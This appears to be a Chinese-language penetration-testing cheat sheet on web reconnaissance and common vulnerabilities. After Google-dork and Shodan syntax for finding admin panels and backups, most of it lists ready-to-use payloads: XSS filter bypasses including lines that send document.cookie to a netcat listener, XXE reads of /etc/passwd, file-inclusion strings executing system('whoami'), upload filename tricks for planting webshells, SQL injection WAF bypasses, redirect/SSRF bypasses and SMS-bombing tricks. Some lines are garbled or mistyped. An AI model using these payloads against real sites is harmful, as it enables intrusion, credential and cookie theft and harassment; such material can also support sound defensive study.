时光匆匆,一转眼3年即将过去,在这里分享一篇自己2年前总结的信息收集与Web常见漏洞
打点、踩点:信息收集以及漏洞确认阶段,一般指的是对测试/渗透目标进行信息收集,漏洞的确认,一句话概括完:渗透测试本质就是信息收集. 只有收集到有用的信息对了,然后开展下一步思路.
Web打点及常见漏洞
黑暗谷歌搜索引擎:
| 或运算符
+ 和 运算符
- 查询的时候忽略-跟的内容
* 代表所以
. 只匹配一个
"" 精准搜索
inurl:探测url
site:指定站点
cache:查看某站点快照
intext:搜索正文包含关键字
inlink 查看网站有关引用或包含这里面内容
filetype:pdf 查看网站里面带有pdf后缀内容.
site:yjgj.cn intitle:登录
site:yjgj.cn inurl:/admin/login.php
site:yjgj.cn intext:后台登录
site:yjgj.cn intitle:index.of "parent directory"
#查找父目录 可以显示目录遍历 方便我们更有效测试.
查找网站cms
site:yjgj.cn intext:Powered by Discuz
以上只是常见语法:大家需要灵活运用.
Shodan引擎基本语法:
product:"指定搜索服务"
version:"查看版本"
hostname:"定url范围"指
os:"查看操作系统"
net:"查看C段"
port:"指定端口"
country:"指定国家"
city:"指定城市"
网站基础打点:
whois查询 whois.gandi.net
域名反查IP 超级ping 多地ping 站长之家
在线cms识别 云溪识别平台
手动查找cms知识 查看网页源代码特有信息,然后去网上找特有信息内容 列入:网站里有discuz 就可以通过搜索引擎搜索 discuz源码
三大常用源码 discuz dedecms wordpress 如果已知是wordpress 我们可以从github下载wpscan扫描这个网站.wpscan只针对wordpress框架采用的一种探针工具.
web指纹识别 goby kali里面whatweb
子域名探针 layer subdomain oneforall
baidu.com
yi.baidu.com
yi.yi.baiu.com
baidu.cn.com
yi.baidu.com
yi.yi.baiu.com
baidu.com.cn
yi.baidu.com
yi.yi.baiu.com
目录扫描 dirsearch dirmap 御剑后台扫描工具
基于IP扫描目录
基于域名扫描目录
基于IP+端口扫描目录
基于域名+端口扫描
端口扫描 nmap messcan goby
后台目录查找方式
目录扫描
谷歌语法: inurl:baodu.com 后台管理
inurl:baidu.com 管理员
intext:管理员登录 baidu.com
intext:后台 baidu.com
inurl:baidu.com "login"
inurl:baidu.com "admin"
inurl:baidu.com filetype:.doc #查找敏感信息
inurl:baidu.com filetype:.zip #查找网站备份文件.
第一:查看中间架是否存在漏洞
常用的中间架:IIS Apache Nginx GlassFish tomcat
第二:系统漏洞
第三:传递webshell 在后台管理 或会员中心
服务器 操作系统版本 多层面谷歌公布资料
常见xss绕过:
xss三种弹窗方式
alert('xss') // 直接执行
confirm('xss') // 需要点击
prompt('xss') // 需要输入
xss几种执行
<script>+弹窗方式</script>
document.write('console.log(alert("xss"))')
document.write('<script>alert(1)</\script>')
console.log(alert('xss'))
console.error(1)
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
<img src=1 onerror='prompt(document.cookie)'>;
http://<img src=1 onerror="a='al',b='ert',c='(/xss/)'" />
<svg onload=confirm(1)>
<iframe src/="data:text/html;base64,PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHNjcmlwdD5jb25mcmltKDEpPC9cc2NyaXB0PicpPFwvc2NyaXB0Pg=="></iframe>
<a href="data:text/plain;base64,PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHNjcmlwdD5jb25mcmltKDEpPC9cc2NyaXB0PicpPFwvc2NyaXB0Pg==">111<a>
经典
Function和function不一样 他执行括号里面第一个内容.
Function(alert('1'))()
'Function(alert('1'))()
``反引号可以代表括号使用.
';Function(alert`1`)();
<object data="data:text/plain;base64,PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHNjcmlwdD5jb25mcmltKDEpPC9cc2NyaXB0PicpPFwvc2NyaXB0Pg=="></object>
直接绕xss <img src='http://127.0.0.1/1.js' />
渗透机使用nc -lnvp 4444 即可绕过
var img=new image();
img.src="http://127.0.0.1:4444/a.php?cookie="+document.cookie;
<script>document.location="http://127.0.0.1/a.php?cookie="+document.cookie+""</script> xss万能用户
<img src="https:192.168.1.88/login.asp">
<a href="javascript:alert('hello')" ></a>
<iframe src="javascript:alert('hello')" />
<img src='x' onerror="alert('hello')" />
<video src='x' onerror="alert('hello')" ></video>
<div onclick="alert('hello')" onmouseover="alert('hello2')" ><div>
闭合掉
1' onclick="alert('xss')">
'><img src=1 onerror="alert('xss')">
文件上传执行xss:
<!DOCTYPE html>
<html>
<title>上传html测试xss</title>
<h1>
刷新弹窗.
</h1>
<meta charset="UTF-8">
<script type="text/javascript">
alert('你屏幕上有个小窗口,请刷新页面来清除它')
</script>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>
xss绕过方式
</title>
<body>
<h1>匹配弹窗.</h1>
<p>分段</p>
<p id="demo"></p>
<button onclick="getElementById('demo').innerHTML=alert(document.cookie)">现在时间是多少</button>
</body>
</head>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>
xss绕过方式
</title>
<body>
<h1>不匹配弹窗.</h1>
<p>分段</p>
<button onclick="this.innerhtml=alert('xss')">来一个小弹窗</button>
</body>
</head>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>
xss绕过方式
</title>
<body>
<h1>点击按钮就弹窗.</h1>
<p id="1">分段</p>
<button onclick="this.innerhtml=alert(/xss/)">关闭弹窗请点击这个页面</button>
</body>
</head>
</html>
xxe外部实体漏洞:
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///c://test.txt">
]>
<x>&xxe;</x>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo[
<!ENEMENT foo ANY>
<!ENTITY hexiang SYSTEM "dnslogµØÖ·">
]>
<x>&hexiang;</x>
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM"file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
文件包含绕过:
本地包含 包含web网页本地文件 绕过方法 %00截断<5.3.4 windows是256 linux 4096 /./././././绕过
远程包含 包含web网页可以访问到的网页
#文件包含就是把所指定的文件里面内容当成脚本执行.各种后缀都可以图片也可以. ../符号和..\符号都可以 代表上一级目录
http://127.0.0.1/pwd=../../../../text.txt
allow_url_fopen =on本地包含
allow_url_include =on 远程包含
文件包含伪协议绕过.
http://127.0.0.1/?include=data:text/plain,<?php phpinfo();?> 解析为phpinfo信息
http://127.0.0.1/?include=data:text/plain,<?php system("whoami");?> 系统执行命令.
http://127.0.0.1/?include=file:/etc/passwd 需要绝对路径
http://127.0.0.1/?include=php://input
用post方式提交这个数据 <?php phpinfo()?> 读取文件里面内容,如果文件里面有php代码则会执行php代码.
http://127.0.0.1/?include=php://filter/read=convert.base64-encode/resource=../../../etc/passwd
以base64编码将文件内容输出内容
文件上传绕过:
filename="1.php
脏数据wadawdwadawdawdadwdawd;filename=1.php
filename=’1.php
filename="1.php%00.jpg“ 00截断
filename=”1.jpg;.shell.php"
filename="1./np/nh/np" 换行干扰
filename="1.jpg“;filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.php" 重复数据提交
filename="1.jpg/1.php"
filename=";name="upload_file";wdadawdawd"x.php"
sql绕宝塔:
a=/*!&x=dawdadawdawdiawofiahiofahipwofhiofhiowfhiowafhaiouwfhioawfhioawfhiowafhioawfhioawhifawhiofhiofhiofawhiofahiowhiofhiofawhiofahiowfahiwofwhidfoahiofhaiowfhaiowfhioawhiofhraowifhaowfhiawhfiawhfoiahsfihwiofhaiowfhoawfhawfoahfoawhfiaowfhaiwfhiaowfhowafhaiwfhaiwfhwafiwafhaofhiw%BF%Oaunion%23a%Oa*!/ 脏数据
Id=1%20union%23a%00/*!select%*/201,2,3,databa%23a%Oase(),5(‘) && --+ # 宝塔使用%00即可
%00/*!select or union
逻辑基础篇:
url跳转:
关键字
src url link
qq.com/?url=qq.com
bypass方式
@绕过
url=qq.com@baidu.com
问号绕过
qq.com?baidu.com
#绕过
qq.com#baidu.com
#xip.io 解析绕过
qq.com.baidu.com.xip.io
ip绕过
qq.com/127.0.0.1
双写绕过
\\
子域名绕过
qq.com?aqy.qq.com.baidu.com
ip地址进制在线转换绕过 10进制
短链接绕过
gopher://127.0.0.1/绕过
dict://绕过
ftp://绕过
file://绕过
短信轰炸绕过:
1:可在手机号使用脏数据尝试绕过
2:修改type类型为其他任意数据尝试
3:使用双写手机号进行绕过 在第一个手机号后面需要加上 , 这个参数 才可以双写.
4:重复提交提交二次phoneNumber内容.
5:在头部添加X-Forwarded-Fora:127.0.0.1 尝试使用攻击者模块爆破1
6:在手机号前面或者后面加上空格尝试